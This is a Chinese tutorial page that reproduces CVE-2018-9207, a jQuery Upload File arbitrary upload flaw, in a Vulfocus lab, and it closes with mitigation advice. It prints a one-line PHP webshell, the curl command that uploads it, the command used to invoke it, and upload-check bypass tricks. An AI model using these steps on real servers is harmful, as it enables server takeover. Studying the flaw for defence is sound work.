当前位置: 首页 > news >正文

【漏洞复现-jQuery Upload File】CVE-2018-9207:从curl命令到Webshell上传的实战解析

1. 靶场环境搭建与漏洞背景

jQuery Upload File插件在4.0.2及以下版本存在一个危险的任意文件上传漏洞(CVE-2018-9207),这个漏洞允许攻击者直接上传恶意文件到服务器。我们先从环境搭建开始说起。

我在本地测试时使用的是Vulfocus漏洞靶场环境,IP和端口是动态分配的。你也可以用Docker快速搭建测试环境:

docker pull vulfocus/jquery-cve_2018_9207 docker run -d -p 8080:80 vulfocus/jquery-cve_2018_9207

这个漏洞的核心在于插件对上传文件的处理逻辑。正常来说,文件上传功能应该严格检查文件类型、内容等,但这个版本的插件完全没有做任何安全检查。更糟糕的是,上传接口/jquery-upload-file/php/upload.php可以直接访问,不需要任何身份验证。

2. 漏洞原理深度解析

2.1 技术原理剖析

这个漏洞的根源在于服务端代码无条件信任客户端上传的文件。具体来说,当插件接收到上传请求时,它做了三件危险的事情:

  1. 不验证文件扩展名
  2. 不检查文件内容
  3. 直接将文件保存到可访问的目录

我翻看过这个版本的源码,发现它使用了一个非常简单的保存逻辑:

$targetPath = "uploads/"; $targetFile = $targetPath . basename($_FILES["myfile"]["name"]); move_uploaded_file($_FILES["myfile"]["tmp_name"], $targetFile);

这段代码没有任何安全检查,直接把用户上传的文件存到服务器上。这意味着攻击者可以上传.php、.jsp等可执行文件,从而完全控制服务器。

2.2 影响范围评估

受影响的版本非常明确:jQuery Upload File 4.0.2及以下所有版本。我在实际渗透测试中发现,很多企业网站还在使用这个有漏洞的版本,主要原因是:

  1. 开发者直接从旧项目复制代码
  2. 没有及时更新第三方组件
  3. 对文件上传功能缺乏安全意识

3. 漏洞复现实战步骤

3.1 准备攻击环境

首先我们需要准备一个简单的PHP webshell。我通常用这个最简版本:

<?php system($_GET['cmd']); ?>

保存为webshell.php。这个webshell虽然简单,但已经足够执行系统命令了。

3.2 使用curl进行文件上传

curl命令是这个漏洞利用的关键工具。我测试过多种参数组合,这个是最稳定的:

curl -F "myfile=@webshell.php" "http://靶机IP:端口/jquery-upload-file/php/upload.php"

这里有几个技术细节需要注意:

  • -F参数表示使用multipart/form-data方式上传
  • myfile是插件预期的字段名,不能改
  • @符号告诉curl从本地读取文件

上传成功后,你会看到类似这样的响应:

{"files":[{"name":"webshell.php","size":123,"type":"application/octet-stream"}]}

3.3 定位上传文件路径

根据我的经验,上传的文件通常会保存在以下路径:

/jquery-upload-file/php/uploads/webshell.php

但有时候路径可能略有不同,我建议先用浏览器访问上传接口,查看返回的完整路径。

4. 漏洞利用与后续操作

4.1 验证webshell

上传成功后,可以直接在浏览器访问webshell:

http://靶机IP:端口/jquery-upload-file/php/uploads/webshell.php?cmd=whoami

如果返回当前用户信息,说明webshell生效了。

4.2 使用蚁剑连接

对于更复杂的操作,我推荐使用蚁剑这类专业工具:

  1. 在蚁剑中添加shell
  2. URL填写webshell地址
  3. 密码留空(因为我们用的是最简webshell)
  4. 连接类型选择PHP

连接成功后,你就可以像操作本地文件系统一样浏览服务器文件了。不过要注意,实际操作中可能会遇到各种权限问题,这时候就需要用到提权技巧了。

5. 防御措施与修复建议

5.1 临时缓解方案

如果你暂时无法升级插件,可以采取这些措施:

  1. 在nginx/apache配置中禁止上传目录执行PHP
  2. 添加文件类型白名单
  3. 对上传文件进行重命名

比如nginx配置可以这样写:

location ~* /jquery-upload-file/php/uploads/.*\.php$ { deny all; }

5.2 彻底修复方案

最根本的解决方案是升级到最新版jQuery Upload File插件。新版已经修复了这个漏洞。升级步骤很简单:

  1. 备份现有代码
  2. 下载最新版插件
  3. 替换相关文件
  4. 测试上传功能

6. 渗透测试中的实用技巧

在实际渗透测试中,我发现几个提高成功率的小技巧:

  1. 尝试不同的字段名:除了myfile,还可以测试file、upload等其他常见字段名
  2. 修改Content-Type:有时候服务器会检查这个头
  3. 使用双写后缀:如webshell.php.jpg可能绕过某些检查

比如这个变种的curl命令:

curl -F "file=@webshell.php;type=image/jpeg" "http://靶机IP:端口/upload.php"

这些年在渗透测试中,我发现文件上传漏洞是最常见也最危险的安全问题之一。很多大型企业都栽在这个看似简单的漏洞上。掌握好curl这个利器,能让你在渗透测试时事半功倍。不过要记住,这些技术只应用于合法授权的测试,切勿用于非法用途。

http://www.jsqmd.com/news/823256/

相关文章:

  • 青岛 CPPM 证书报考常见问题(含金量 / 通过率和费用) - 众智商学院课程中心
  • 如何快速掌握Fluxion无线网络安全测试:从零开始的完整指南
  • 立创EDA导出的原理图太丑?手把手教你用AD20调出专业范儿(字体/颜色/布局全搞定)
  • 2026年4月国内技术好的PVC软板公司口碑推荐,高压石棉板/防滑橡胶板/高水基盘根,PVC软板直销厂家哪家权威 - 品牌推荐师
  • 深入荣品RV1126 SDK:从rkmedia示例到自定义应用开发的完整流程
  • 从丰田“刹车门”到ISO 26262:故障注入测试如何成为汽车安全的最后防线
  • 围棋AI分析实战指南:用LizzieYzy解锁职业级复盘体验
  • 终极Windows多显示器亮度管理方案:Monitorian完全指南
  • 轴流风机专业制造商产品深度测评:DZ/SF/CDZ三大系列全解析 - 品牌推荐大师1
  • 【零基础部署】ComfyUI 核心工作流与插件安装保姆级教程
  • 【紧急预警】DeepSeek官方未声明的推理陷阱:batch_size=1时吞吐反降41%?附可复现代码与绕过方案
  • AI智能体技能开发指南:从模块化设计到工程化实践
  • 2026 甘肃青海配电柜优质企业选择指南:本土靠谱之选 - 深度智识库
  • 【独家首发】DeepSeek未公开的Saga元数据协议v2.3:支撑日均4.7亿事务的幂等性与补偿链路原子性保障机制
  • BilibiliDown视频下载器:5个步骤轻松保存你喜爱的B站内容
  • DellFanManagement:基于系统管理接口的戴尔笔记本风扇控制技术方案
  • Arm架构CNTVCTSS_EL0寄存器解析与虚拟化时间管理
  • 2026泉州鲤城跆拳道散打哪家好?本地内行带路与避坑指南 - 资讯速览
  • MASA模组中文汉化包终极指南:让你的Minecraft创作之旅零障碍
  • Intel fastRAG:基于硬件优化的RAG加速方案解析与实践
  • 反光柱定位算法实战01:反光柱定位算法综述
  • Sabaki终极指南:3步快速掌握专业围棋棋谱编辑与分析
  • 重新定义魔兽世界操作:GSE宏工具如何革新游戏编程体验
  • DiffusionNet实战踩坑记:在Human、Cubes等数据集上复现TOG论文,我的调参心得与结果分析
  • 弃浮华浮躁,以格局出圈《凰标》无炒作、无热度,唯以大道服人心
  • 2026年五大主流AI知识库私有化部署厂商服务商方案商|私有化部署方案详解 - 品牌2025
  • 基于Pyrogram构建Telegram信息监控系统:架构解析与工程实践
  • TestDisk PhotoRec:数据丢失救星!免费开源的数据恢复终极指南
  • RT-Thread Studio 1.1.3 实战:FreeModbus 主从一体配置避坑指南(附完整代码)
  • C语言进阶避坑指南:那些年,我们被__attribute__坑过的内存对齐和链接问题